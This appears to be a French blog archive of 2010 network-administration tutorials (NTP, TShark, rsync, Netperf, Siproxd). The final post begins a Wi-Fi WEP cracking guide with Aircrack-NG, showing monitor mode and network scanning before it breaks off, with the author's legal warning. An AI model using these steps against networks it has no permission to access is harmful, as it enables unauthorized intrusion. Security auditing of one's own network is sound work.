Le blog de NicoLargo » Réseau

Installation d'un serveur NTP sous Ubuntu

NicoLargo — Mon, 15 Mar 2010 09:41:26 +0000

Si vous disposez de plusieurs machines sur votre réseau, il peut, dans certains cas être intéressant de les synchroniser sur une date et une heure commune (par exemple pour de l'analyse de fichiers de log). Les systèmes d'exploitation modernes utilisent maintenant le protocole NTP pour se synchroniser via le réseau IP.

C'est quoi donc NTP ?

Le principe général est simple: on configure le client NTP pour aller demander à un serveur NTP l'heure de référence (à la seconde près). Le client peut alors modifier sa date système en concéquence. Cette description simpliste est à nuancer par le fait que le protocole NTP est basé sur une architecture en arbre.

Par exemple, sur un système d'exploitation GNU/Linux de type Debian ou Ubuntu, il suffit de saisir la commande suivante pour faire appel à un serveur NTP secondaire (ntp.ubuntu.com définie dans le fichier /etc/default/ntpdate):


sudo ntpdate-debian

15 Mar 10:11:01 ntpdate[5406]: adjust time server 91.189.94.4 offset 0.038837 sec

Nous allons maintenant voir maintenant comment installer un serveur de temps NTP sur votre réseau qui pourra continuer de servir de référence même en cas de coupure de votre liaison Internet.

Installation d'un serveur NTP

On installe les brique NTP (exemple de commandes sous Ubuntu 9.10)


sudo aptitude install ntp

sudo /etc/init.d/ntp stop

On configure ensuite le fichier /etc/ntp.conf:


sudo vi /etc/ntp.conf

# Configuration
driftfile /var/lib/ntp/ntp.drift
statsdir /var/log/ntpstats/
statistics loopstats peerstats clockstats
filegen loopstats file loopstats type day enable
filegen peerstats file peerstats type day enable
filegen clockstats file clockstats type day enable

# Serveur de temps ROOT
# http://www.pool.ntp.org/zone/fr
server 0.fr.pool.ntp.org
server 1.fr.pool.ntp.org
server 2.fr.pool.ntp.org
server 3.fr.pool.ntp.org

# ACL
restrict -4 default kod notrap nomodify nopeer noquery
restrict -6 default kod notrap nomodify nopeer noquery
restrict 127.0.0.1
restrict ::1
restrict 192.168.2.0 mask 255.255.255.0 notrust

Pour synchroniser mon serveur NTP, j'utilise les serveurs fourni par le projet pool.ntp.org qui propose un cluster de serveurs NTP virtualisés sous un nom unique (fr.pool.ntp.org pour la france).

Il faut également penser à adapter la section ACL en fonction de votre réseau (le mien étant en 192.168.2.0/24)

On peut ensuite synchroniser notre serveur puis lancer le daemon NTP:


sudo ntpdate -dv fr.pool.ntp.org

sudo /etc/init.d/ntp start

Configuration des clients NTP

Il ne reste plus qu'a configurer les clients NTP de votre pour utiliser votre serveur NTP. Sous Ubuntu, il faut se rendre dans le menu "Système / Administration / Date" et heure puis sélectionner "Configuration: Rester synchroniser avec les serveurs sur Internet":

Cliquer ensuite sur "Sélectionner des serveurs":

On ajoute notre serveur NTP local (adresse 192.168.2.254 dans mon cas):

PS: il est possible de sélectionner plusieurs adresses de serveurs.

Et voili, votre PC restera maintenant synchronisié à votre serveur de temps, lui même synchronisé au cluster NTP fr.pool.ntp.org !

TShark, l'autre TcpDump

NicoLargo — Mon, 08 Mar 2010 06:11:32 +0000

TShark est un logiciel avec une interface de type ligne de commande permettant d'analyser les protocoles réseaux capturé depuis une interface (en utilisant la librairie libpcap) ou depuis un fichier de capture au format Wireshark. Développé en parallèle de Wireshark, il est distribué sous licence GNU GPL.

Installation de TShark

Sous Ubuntu, il suffit de l'installer à partir des dépôts avec la commande suivante:

sudo aptitude install tshark

Remarque: il est également possible de faire l'installation depuis les sources.

Définir la source du trafic à analyser

Deux solutions sont envisageables. La première est de capturer le trafic à partir d'une interface physique compatible. Pour avoir la liste de ces interfaces, on utilisera l'option -D de TShark:

sudo tshark -D

1. eth0
2. wmaster0
3. wlan0
4. usbmon1 (USB bus number 1)
5. usbmon2 (USB bus number 2)
6. usbmon3 (USB bus number 3)
7. usbmon4 (USB bus number 4)
8. usbmon5 (USB bus number 5)
9. usbmon6 (USB bus number 6)
10. usbmon7 (USB bus number 7)
11. usbmon8 (USB bus number 
12. any (Pseudo-device that captures on all interfaces)
13. lo

Ainsi si l'on souhaite analyser les protocoles des flux transitant par l'interface ethernet par défaut (eth0), il suffit de saisir la commande suivante:

sudo tshark -i eth0

Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
  0.000000 Xensourc_8b:f0:9e -> Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.171
  0.021079 Netgear_b7:46:4a -> Spanning-tree-(for-bridges)_00 STP RST. Root = 32768/0/00:12:a9:81:5f:e0  Cost = 200000  Port = 0x8001
  0.182159 HewlettP_64:6e:2c -> Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.1
  0.325894 HewlettP_64:6e:a0 -> Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.2
...

Il est également possible d'analyser les flux de manière "off-line". Pour cela, il faut dans un premier temps capturer le trafic dans un fichier à l'aide d'un logiciel comme Wireshark, TShark (ou tout autre logiciel dont le format est pris en charge, voir la liste de ces formats avec la commande "sudo tshark -F"), puis fournir ce fichier en entrée de TShark avec l'option -r:

sudo tshark -r capture.cap

  1   0.000000 HewlettP_64:6e:a0 -> Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.2
  2   0.020195 HewlettP_64:6e:2c -> Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.1
  3   0.576826 192.168.29.75 -> 255.255.255.255 UDP Source port: 17500  Destination port: 17500
  4   0.577044 192.168.29.75 -> 192.168.29.255 UDP Source port: 17500  Destination port: 17500
  5   0.585752 Xensourc_8b:f0:9e -> Broadcast    ARP Who has 192.168.29.120?  Tell 192.168.29.171
  6   0.589851 HewlettP_64:6e:2c -> Broadcast    ARP Who has 192.168.29.120?  Tell 192.168.29.1
  ...

Les options de capture

De base (c'est à dire si aucune option complémentaire est donnée), TShark analyse le trafic jusqu'à ce que l'utilisateur presse les touches CTRL-C. Dans le cadre d'un processus automatisé, il est possible de définir quand la capture doit s'arrêter en utilisant l'option -a. Quelques exemples:

Capture et analyse le trafic pendant 10 secondes:


sudo tshark -i eth0 -a duration:10

Capture et analyse 100 paquets (si un filtre de capture est utilisé, on capturera 100 paquets filtrés):


sudo  tshark -i eth0 -c 100

Si on capture vers un fichier, on peut fixer la taille maximale de ce dernier à 5 Ko:


sudo tshark -i eth0 -a filesize:5 -w /tmp/capture.cap

Les options d'affichage

TShark affiche par défaut les informations au format texte (c'est à dire lisible par un humain geek).


sudo tshark -i eth0

2.536745 192.168.29.148 -> 192.168.29.1 DNS Standard query A safebrowsing-cache.google.com

2.537232 192.168.29.1 -> 192.168.29.148 DNS Standard query response CNAME safebrowsing.cache.l.google.com A 74.125.10.151

2.537347 192.168.29.148 -> 74.125.10.151 TCP 38883 > http [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSV=171324902 TSER=0 WS=6

2.568103 74.125.10.151 -> 192.168.29.148 TCP http > 38883 [SYN, ACK] Seq=0 Ack=1 Win=1460 Len=0 MSS=1460 TSV=966567702 TSER=171324902 WS=6

2.568140 192.168.29.148 -> 74.125.10.151 TCP 38883 > http [ACK] Seq=1 Ack=1 Win=5888 Len=0 TSV=171324910 TSER=966567702

2.568243 192.168.29.148 -> 74.125.10.151 TCP [TCP segment of a reassembled PDU]

2.568253 192.168.29.148 -> 74.125.10.151 HTTP GET /safebrowsing/rd/ChNnb29nLW1hbHdhcmUtc2hhdmFyEAEY9-oBIPvqASoFenUAAAMyBXd1AAAH HTTP/1.1

2.578253 HewlettP_64:6e:2c -> Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.1

2.601627 HewlettP_64:6e:a0 -> Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.2

2.605201 74.125.10.151 -> 192.168.29.148 TCP http > 38883 [ACK] Seq=1 Ack=731 Win=7296 Len=0 TSV=966567739 TSER=171324910

2.605226 74.125.10.151 -> 192.168.29.148 TCP http > 38883 [ACK] Seq=1 Ack=1045 Win=8768 Len=0 TSV=966567739 TSER=171324910

2.607870 74.125.10.151 -> 192.168.29.148 TCP [TCP segment of a reassembled PDU]

2.607885 192.168.29.148 -> 74.125.10.151 TCP 38883 > http [ACK] Seq=1045 Ack=269 Win=6912 Len=0 TSV=171324920 TSER=966567741

2.612201 74.125.10.151 -> 192.168.29.148 TCP [TCP segment of a reassembled PDU]

...

Il est possible de modifier et customiser cet affichage. Par exemple, TShark embarque deux modules permettant d'afficher les paquets au format XML: PDML ou PSML.

Affichage au format PDML:


sudo tshark -i eth0 -T pdml





Running as user "root" and group "root". This could be dangerous.

Capturing on eth0



























































































...

La dernière méthode permet de customiser soit même les informations à afficher:


sudo tshark -i eth0 -T fields -e ip.addr -e tcp.port

Running as user "root" and group "root". This could be dangerous.

Capturing on eth0

209.172.41.53	80

209.172.41.53	80

192.168.29.1

192.168.29.148

209.172.41.53	80

192.168.29.148	34521

209.172.41.53	80

192.168.29.148	34522

209.172.41.53	80

192.168.29.148	34523

209.172.41.53	80

209.172.41.53	80

209.172.41.53	80

224.0.0.251

192.168.29.148	34523

...

Les filtres de base

Selon ou le logiciel TShark sera lancé, le nombre de paquets à analyser peut devenir très important. Heureusement, TShark propose un système de filtre permettant de se focaliser sur les protocoles utiles à notre analyse.

TShark propose deux types de filtres:

les filtres de capture: permettant de filtrer le capture au moment de la capture
les filtres d'affichage: permet de filtrer avant l'affichage

Le seul hic est que les deux syntaxes ne sont pas les mêmes. Les filtres de capture obéissent à une syntaxe propre à libpcap (faire un "man pcap-filter" pour une description exhaustive) tandis que les filtres d'affichage sont définie par le projet Wireshark (voir le manuel en ligne ici).On peut remarquer la richesse des filtres d'affichage qui permettent de remonter très haut dans la couche OSI.

Par exemple pour filtrer le trafic HTTP (TCP port 80) avant la capture:


sudo tshark -i eth0 port 80

Running as user "root" and group "root". This could be dangerous.

Capturing on eth0

0.000000 192.168.29.148 -> 67.228.110.120 TCP 47593 > http [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSV=171057533 TSER=0 WS=6

0.182873 67.228.110.120 -> 192.168.29.148 TCP http > 47593 [SYN, ACK] Seq=0 Ack=1 Win=1460 Len=0 MSS=1460 TSV=154345319 TSER=171057533 WS=9

0.182924 192.168.29.148 -> 67.228.110.120 TCP 47593 > http [ACK] Seq=1 Ack=1 Win=5888 Len=0 TSV=171057578 TSER=154345319

0.183029 192.168.29.148 -> 67.228.110.120 HTTP GET /docs/man-pages/tshark.html HTTP/1.1

Alors quer pour capturer l'ensemble du trafic et afficher seulement le trafic HTTP:


sudo tshark -i eth0 -R tcp.port==80

Running as user "root" and group "root". This could be dangerous.

Capturing on eth0

3.127743 192.168.29.148 -> 67.228.110.120 TCP 47599 > http [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSV=171071304 TSER=0 WS=6

3.308054 67.228.110.120 -> 192.168.29.148 TCP http > 47599 [SYN, ACK] Seq=0 Ack=1 Win=1460 Len=0 MSS=1460 TSV=154350827 TSER=171071304 WS=9

3.308096 192.168.29.148 -> 67.228.110.120 TCP 47599 > http [ACK] Seq=1 Ack=1 Win=5888 Len=0 TSV=171071349 TSER=154350827

3.308182 192.168.29.148 -> 67.228.110.120 HTTP GET /docs/man-pages/tshark.html HTTP/1.1

Affichage au format PSML:


sudo tshark -i eth0 -T psml





Running as user "root" and group "root". This could be dangerous.

Capturing on eth0



No.

Time

Source

Destination

Protocol

Info





1

0.000000

Netgear_b7:46:4a

Spanning-tree-(for-bridges)_00

STP

RST. Root = 32768/0/00:12:a9:81:5f:e0  Cost = 200000  Port = 0x8001



...

Les filtres avancées

Via l'option -z, TShark donne l'accès à des statistiques intéressants selon le protocole que vous avez à analyser.

Le premier d'entre eux permet de générer un rapport avec la hiérarchie des protocoles capturés:


sudo tshark -i eth0 -z io,phs

===================================================================

Protocol Hierarchy Statistics

Filter: frame

frame                                    frames:206 bytes:79513

eth                                    frames:206 bytes:79513

llc                                  frames:11 bytes:660

stp                                frames:11 bytes:660

arp                                  frames:77 bytes:4584

ip                                   frames:118 bytes:74269

tcp                                frames:59 bytes:22417

ssl                              frames:11 bytes:11280

http                             frames:2 bytes:502

data-text-lines                frames:1 bytes:264

tcp.segments                     frames:8 bytes:5607

ssl                            frames:8 bytes:5607

msnms                            frames:2 bytes:145

rtsp                             frames:12 bytes:3283

udp                                frames:54 bytes:51342

data                             frames:45 bytes:47992

cflow                            frames:2 bytes:2484

dns                              frames:4 bytes:590

rtp                              frames:3 bytes:276

icmp                               frames:5 bytes:510

===================================================================

Associé à un filtre il est possible d'afficher une répartition dans le temps des paquets et de la taille associée;


sudo tshark -i eth0 -z io,stat,1,tcp.port==80

===================================================================

IO Statistics

Interval: 1.000 secs

Column #0:

|   Column #0

Time            |frames|  bytes

000.000-001.000       4       240

001.000-002.000       5       312

002.000-003.000       6      1146

003.000-004.000      61     18627

004.000-005.000      76     30832

005.000-006.000      45     16263

006.000-007.000      95     40326

007.000-008.000     107     50010

008.000-009.000      81     30109

009.000-010.000     125     58044

010.000-011.000      75     46597

011.000-012.000     236    155959

012.000-013.000      32     15852

013.000-014.000       2       531

===================================================================

On peut également afficher une table de trafic IP (source <-> destination). Il est également possible de faire de même seulment sur le trafic TCP (-z conv,tcp) ou UDP (-z conv,udp):


sudo tshark -i eth0 -z conv,ip

================================================================================

IPv4 Conversations

Filter:

|       <-      | |       ->      | |     Total     |

| Frames  Bytes | | Frames  Bytes | | Frames  Bytes |

192.168.29.148       <-> 74.125.39.18              79     39420      93     36753     172     76173

192.168.29.148       <-> 74.125.39.17              45     27618      45     17223      90     44841

192.168.29.148       <-> 74.125.39.83              30     18291      26     11999      56     30290

192.168.29.148       <-> 74.125.39.106              6       751      11      8970      17      9721

192.168.29.148       <-> 74.125.39.101              7      2954       9      3012      16      5966

192.168.29.148       <-> 74.125.39.189              6       968       8      2382      14      3350

192.168.29.148       <-> 192.168.29.1               4      1198       4       311       8      1509

209.85.137.125       <-> 192.168.29.148             2       132       2       750       4       882

192.168.29.148       <-> 65.54.49.141               1        74       2       137       3       211

192.168.254.2        <-> 192.168.29.148             0         0       1      1506       1      1506

193.48.73.22         <-> 192.168.29.148             1        46       0         0       1        46

================================================================================

Si vous devez faire une analyse d'un flux multimédia basé sur RTP, alors l'option suivante va vous permettre d'afficher un rapport sur ces flux:


sudo tshark -i eth0 -z rtp,streams

========================= RTP Streams ========================

Src IP addr  Port    Dest IP addr  Port       SSRC          Payload  Pkts         Lost   Max Delta(ms)  Max Jitter(ms) Mean Jitter(ms) Problems?

192.168.200.100 50013  192.168.29.148 55373 0x83AAE473     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.29.148 55373 192.168.200.100 55372 0x16AE7E09     Unknown (73)    11   -10 (-1000.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE477     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE47D     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE483     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE488     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE48E     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE492     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE498     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE49D     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE4A1     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE4A5     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00

192.168.200.100 50013  192.168.29.148 55373 0x83AAE4AB     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x81CB0001     Unknown (73)     1     0 (0.0%)            0.00            0.00            0.00

==============================================================

Si vous devez analyser les flux SMB (partage de fichier Samba ou Windows) alors TShark vous apporte les informations suivantes au niveau des délais:


sudo tshark -i eth0 -z smb,rtt

===================================================================

SMB RTT Statistics:

Filter:

Commands                   Calls   Min RTT   Max RTT   Avg RTT

Close                          1   0.00034   0.00034   0.00034

Open AndX                      1   0.01968   0.01968   0.01968

Read AndX                      3   0.00032   0.46561   0.15541

Negotiate Protocol             1   0.00079   0.00079   0.00079

Session Setup AndX             2   0.00071   0.00201   0.00136

Tree Connect AndX              1   0.00063   0.00063   0.00063

Transaction2 Commands      Calls   Min RTT   Max RTT   Avg RTT

FIND_FIRST2                   12   0.00073   0.01845   0.00520

QUERY_FS_INFO                  1   0.00043   0.00043   0.00043

QUERY_PATH_INFO              174   0.00045   0.01445   0.00154

NT Transaction Commands    Calls   Min RTT   Max RTT   Avg RTT

===================================================================

Enfin il est possible d'analyser les flux de type VoIP SIP:

tshark -i em0 -z sip,stat

===================================================================

SIP Statistics

Number of SIP messages: 30

Number of resent SIP messages: 4

* SIP Status Codes in reply packets

SIP 401 Unauthorized    :     5 Packets

SIP 200 OK              :     5 Packets

SIP 100 Trying          :    10 Packets

* List of SIP Request methods

REGISTER        :    10 Packets

* Average setup time 0 ms

Min 0 ms

Max 0 ms

===================================================================

Conclusion

TShark est donc une très bonne alternative à tcpdump, l'outil standard des distributions GNU/Linux et BSD. Il apporte un lot impressionnant de filtres d'affichage et une gestion de rapport qui peut être d'une grande utilité pour certaines analyse réseau.

Backup de sa bibliothéque musicale avec rsync

NicoLargo — Sun, 07 Mar 2010 13:30:12 +0000

Voici un petit shell script permettant, depuis Mac OS X, de synchroniser votre bibliothèque musical iTunes vers un disque dur externe au format FAT32.

Si en plus ce disque est réseau (NAS), ce script sera une première étape dans le partager de votre bibliothéque iTunes entres les différents ordinateurs de votre réseau local (je parle ici d'un VRAI partage avec play-lists, notes, suppression, modification...). Mais j'y reviendrai dans un prochain article...

Script:

#!/bin/sh
SRC="/Users/nicolargo/Music/iTunes/"
DST="/Volumes/DDEXT/MUSIC/iTunes"
RSYNC="/usr/bin/rsync -a -x -S -v --modify-window=1 --delete"
$RSYNC $SRC $DST

Détail des variables:

SRC: Emplacement de votre bibliothèque iTunes (à modifier selon votre configuration). A noter, le / en fin de ligne.

DST: Chemin d'accès vers votre disque dur externe ou réseau (à modifier selon votre configuration). A noter, l'absence de / en fin de ligne.

RSYNC: chemin et option vers rsync avec:

--modify-window=1: si vous faite une synchronisation vers un disque FAT32, cette option est obligatoire (sinon les fichiers seront recopiés intégralement à chaque synchronisation...)
Remarque: si vous utilisez un disque externe formaté en HFS, il faut utiliser l'option -E en lieu et place de --modify-window=1

-a: synchronise l'ensemble des fichiers, répertoires et sous-répertoire
-x: ne pas écraser les fichiers systèmes
-S: gère de manière efficace les fichiers fragmentés.
-v: affiche ce que rsync fait
--delete: efface du disque dur externe les fichiers inexistants de votre bibliothèque iTunes.

Tester son site/blog sous IPhone sans IPhone

NicoLargo — Fri, 26 Feb 2010 15:42:40 +0000

Vous voulez tester comment est vu votre site/blog sur un IPhone mais vous n'en avez pas un sous la main (ben ouep c'est pas libre alors...) ? Alors vous serez heureux d'apprendre qu'il existe une méthode assez simple pour que votre navigateur favori ( j'ai nommé Firefox) se fasse passer pour un IPhone...

Installation du plugin "User Agent Switchers"

La première chose à faire est d'installer le plugin "User Agent Switchers" qui va permettre à Firefox de se déguiser en IPhone. Une fois le plugin installé et le navigateur redémarré, un nouveau menu sous "Outils / Default User Agent" devrait apparaitre:

Il suffit de cliquer sur le bouton "IPhone 3.0" pour que Firefox se fasse passer pour un navigateur IPhone. Pou revenir à un comportement normal de votre navigateur, il suffira de cliquer sur le bouton "Default User Agent".

Tester son site/blog

Rien de plus simple, il suffit de se rendre sur l'URL de votre blog pour le voir s'afficher comme sur un iPhone. Par exemple Le Blog de Nicolargo (c'est juste un exemple, j'utilise le plugin Wordpress WPTouch donc l'affichage devrait être adapté...).

Les esprits chagrins vont me dire que cela n'est pas du tout représentatif car la résolution de l'Iphone est beaucoup plus faible que la résolution de notre écran, c'est vrai mais... il existe des sites (par exemple TestIphone) qui permettent d'effectuer le même test mais dans une frame simulant la taille d'un IPhone. Perso le test chez moi du site TestIphone n'est pas concluant car je suis redirigé vers la version plein écran de mon blog...

Netperf, mesurer la performance de votre réseau en ligne de commande

NicoLargo — Tue, 23 Feb 2010 09:26:20 +0000

Netperf est un logiciel sous licence libre (GPL) permettant de simuler du trafic entre deux points d'un réseau. Edité par la société HP, la dernière version disponible (2.4.5) date de janvier 2009.

Contrairement à des logiciels comme Iperf qui se limite a une mesure de la bande passante et du délais, NetPerf permet, en plus du transfert de données, de simuler des transactions TCP et UDP. Nous allons voir dans ce billet comment installer et utiliser NetPerf pour optimiser notre réseau.

Mesure du débit utile

Le test le plus courant demandé à NetPerf est de mesurer le débit de notre réseau, c'est à dire la quantité d'information (donnée) que l'on peut transporter en une seconde d'un point A (client) vers un point B (serveur). Nous utiliserons pour cela les scénarios TCP_STREAM (pour un transfert TCP) ou UDP_STREAM (pour un transfert UDP).

Lors de l'installation sous Ubuntu, le daemon serveur est lancé automatiquement en écioutant sur le port 12345 (il faut pensé à ajouter les règles de firewall qui vont bien pour autoriser le/les clients NetPerf à se connecter sur le serveur). A vérifier avec la commande "ps auxw | grep netserver" avant de saisir la commande suivante:


serveur# sudo netserver

Pour la suite du billet je prendrai comme hypothèse le fait que le serveur est lancé.

Ensuite on lance le client:


client# netperf -H server -t TCP_STREAM

Après quelques secondes, le client devrait afficher:

TCP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to bilbo.nicolargo.com (92.243.16.42) port 0 AF_INET : demo
Recv   Send    Send
Socket Socket  Message  Elapsed
Size   Size    Size     Time     Throughput
bytes  bytes   bytes    secs.    10^6bits/sec
87380  16384  16384    10.46       3.43

On a donc un débit d'environ 3.43Mbit/sec.

Optimisation du débit utile

Comme vous le savez (ou pas), le débit utile en TCP peut être optimisé en jouant sur la valeur des "buffers" de réception et d'émission (dans les noyaux Linux récents, ces valeurs sont calculés et adaptés dynamiquement). NetPerf peut être utilisé pour tester les valeurs de "buffers" idéales pour votre réseau en procédant de la manière suivante:

On fait le test initial (sans optimisation):


client# netstat -s -p tcp > beforestat

client# netperf -H server -t TCP_STREAM > beforeres

On fait le test final (avec optimisation).

On peut par exemple utiliser pour cela les options -s et -S qui fixent respectivement la taille des "buffers" du client et du serveur. Ou bien ajouter le support des options CORK pour l'optimisation de la taille des MSS (-C) et de l'algorithme Nagle (-D).

Il faut faire attention de mettre ces options après l'option -- (pour préciser que ces options sont celle de TCP_STREAM).


client# netperf -H server -t TCP_STREAM -- -s 128k -S 128k -C -D > afterres
client# netstat -s -p tcp > afterstat

On peut ensuite comparer les deux fichiers de résultats.


# diff beforeres afterres

> 87380 16384 16384 10.43 3.43
---
< 87380 16384 16384 10.27 3.73
Soit un gain de 300 Kbps.

Pour comparer les stats TCP on peut récupérer le programme C "BeforeAfter" de HP:


# ./beforeafter beforestat afterstat

TcpExt:
0 TCP sockets finished time wait in fast timer
1 time wait sockets recycled by time stamp
3 accusés de réception envoyés en retard
0 delayed acks further delayed because of locked socket
Le mode ACK rapide a été activé 0 fois
80 paquets directement mis en attente dans la file d'attente recvmsg.
0 bytes directly in process context from backlog
4660 bytes directly received in process context from prequeue
19 en-têtes de paquets prédits
3 packets header predicted and directly queued to user
364 acknowledgments not containing data payload received
1412 accusés de réception prédits
0 times recovered from packet loss due to fast retransmit
14 times recovered from packet loss by selective acknowledgements
0 bad SACK blocks received
0 congestion windows recovered without slow start after partial ack
9 TCP data loss events
0 timeouts after reno fast retransmit
0 timeouts after SACK recovery
0 timeouts in loss state
15 fast retransmits
0 retransmits in slow start
1 other TCP timeouts
0 SACK retransmits failed
0 times receiver scheduled too late for direct processing
0 DSACKs sent for old packets
0 DSACKs sent for out of order packets
0 DSACKs received
0 connections reset due to unexpected data
0 connections reset due to early user close
0 connections aborted due to timeout
TCPSACKDiscard: 0
TCPDSACKIgnoredOld: 0
TCPDSACKIgnoredNoUndo: 0
TCPSackShifted: 130
TCPSackMerged: 80
TCPSackShiftFallback: 27

Pour effectuer un test de débit dans le sens inverse (c'est à dire du serveur/netserver vers le client/netperf), on peur utiliser l'option TCP_MAERTS.


client# netperf -H server -t TCP_MAERTS

Mesure des transactions

Le débit utile n'est pas forcement une mesure capitale dans les performances d'un réseau. Si l'on prend l'exemple d'un trafic de type Web (HTML), c'est la capacité a faire rapidement des transactions (requêtes/réponses) qui est importante. NetPerf propose donc de tester ce type de transaction avec les scénarios TCP_RR (transactions TCP) ou UDP_RR (transaction UDP).

On lance le client:


client# netperf -H server -t TCP_RR

Après quelques secondes, le client devrait afficher:

TCP REQUEST/RESPONSE TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to bilbo.nicolargo.com (92.243.16.42) port 0 AF_INET : demo
Local /Remote
Socket Size   Request  Resp.   Elapsed  Trans.
Send   Recv   Size     Size    Time     Rate
bytes  Bytes  bytes    bytes   secs.    per sec
16384  87380  1        1       10.00      47.40
16384  87380

On a donc une mesure de 47 transactions par seconde.

Optimisation des transactions

Là encore, il est possible de tester différentes optimisation au niveau du protocole TCP. Par exemple, les "buffers" comme nous l'avons vu au chapitre précédant (option -s et -S). Pour coller au plus près au trafic généré par vos applications, NetPerf permet également dans ce mode (TCP-RR) de fixer la taille des requêtes de la transaction avec l'option -r. Celle-ci prend deux argument: le premier est la taille de la requête, le second la taille de la réponse.

Par exemple pour simuler des transactions dont la requête a une taille de 64 octets et une réponse de 64Koctets, il faut saisir la commande suivante:


client# netperf -H server -t TCP_RR -- -r 64,64k

On peut ensuite essayer des optimisations au niveau des tailles de buffers (comme dans le chapitre précédents):


client# netperf -H server -t TCP_RR -- -r 64,64k -s 128k -S 128k -C -D

Conclusion

Ce billet n'est qu'une introduction au logiciel NetPerf. Si vous souhaitez approfondir le sujet, je vous conseille la lecture de la documentation officielle (en Anglais).

Siproxd rapproche SIP et NAT

NicoLargo — Thu, 18 Feb 2010 10:15:23 +0000

SIP est le protocole de signalisation pour effectuer des communications de type voix sur IP (VoIP). Lorsque la communication est établie, il passe la main au protocole RTP qui permet le transport de la voix sur le réseau. Dans une architecture réseau incluant des fonctions de translation d'adresse (NAT), les choses se compliquent (voir cet article en anglais). En effet, si plusieurs clients SIP se trouve derrière un routeur NAT, ce dernier ne va pas savoir établir les sessions entrantes (comment savoir vers quel client SIP faut il envoyer les flux).Vous pouvez lire ce billet qui détaille cette problématique.

On se retrouve devant plusieurs solutions techniques:

utilisation d'un tunnel IP entre le routeur NAT et le serveur SIP
utilisation de redirection statique (par client) au niveau du routeur NAT en utilisant des numéros de ports SIP et RTP différents
utilisation d'un proxy SIP au niveau du routeur NAT

C'est cette troisième solution que nous allons mettre en place dans ce billet en utilisant le proxy SIP libre siproxd sur votre routeur NAT GNU/Linux.

Installation de Sipproxd

Actuellement disponible en version 0.7.2, vous pouvez soit compiler les sources, soit installer depuis les dépôts de votre distribution GNU/Linux. Par exemple sous Ubuntu:


sudo aptitude install siproxd

Il faut ensuite modifier le fichier /etc/default/siproxd et remplacer le 0 par 1.

Configuration de Sipproxd

Le fichier de configuration unique /etc/siproxd.conf est très bien commenté. Dans un cas standard ou le routeur NAT GNU/Linux a deux interfaces (eth0 pour l'interface coté LAN et eth1 pour l'interface NATé), il suffit juste de modifier la configuration en changeant les deux lignes suivantes:


if_inbound  = eth0

if_outbound = eth1

Lancement de Sipproxd

Sous Unbuntu,c'est assez simple:


/etc/init.d/sipproxd start

Configuration des clients SIP

Il ne reste plus qu'a configurer vos clients SIP dans la section "Proxy SIP" et de mettre l'adresse IP de votre routeur NAT (coté LAN donc l'adresse de eth0 dans notre cas).

Cracker un réseau Wifi sous GNU/Linux

NicoLargo — Wed, 17 Feb 2010 09:37:04 +0000

Les réseaux Wifi envahissent notre quotidien. Force est de constater les techniques de protection de ces réseaux ont fait un bon en avant ces dernières années: WEP, WPA, WPA2... Cependant, il existe des solutions logicielles pour contourner ces protections. Nous allons en aborder quelques unes dans ce billet.

Attention: Je décline toute responsabilité concernant l'usage de ce tutoriel par des personnes mal intentionnées. Je vous rappelle qu'il est formellement interdit de s'introduire sur un réseau sans l'accord de son propriétaire. Si vous souhaitez tester cette procédure, il est donc conseillé de le faire sur votre réseau Wifi et pas sur celui du voisin

Crack de réseau Wifi WEP avec AirCrack-NG

Le principe est de capturer du trafic Wifi puis d'analyser le contenu de la capture pour y trouver le mot de passe WEP. Nous allons utiliser la suite logicielle AirCrack-NG (disponible sous GNU/Linux et Windows).

Installation de Aircrack-NG

Sur une distribution GNU/Linux Ubuntu, l'installation se résume à la ligne de commande suivante:


sudo aptitude install aircrack-ng

Capture du trafic Wifi

On commence par activer le "monitoring" sur l'interface Wifi (wlan0) dans mon cas:


sudo airmon-ng start wlan0
Interface	Chipset		Driver
wlan0		Intel 4965/5xxx	iwlagn - [phy0]
(monitor mode enabled on mon0)

Cette première commande va créer l'interface virtuelle mon0, sur laquelle on va capturer le trafic Wifi. Avant de lancer la capture, il faut sélectionné le channel ID (réseau Wifi):


sudo airodump-ng mon0

Cette commandes va afficher les réseau Wifi disponibles:

 CH 10 ][ Elapsed: 16 s ][ 2010-01-12 14:18                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                 

 00:80:48:4F:2E:C4  -55       28        0    0   1  54 . OPN              WifiDeTest             

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                      

 (not associated)   00:22:FA:FE:B5:6E  -72    0 - 1     30       10

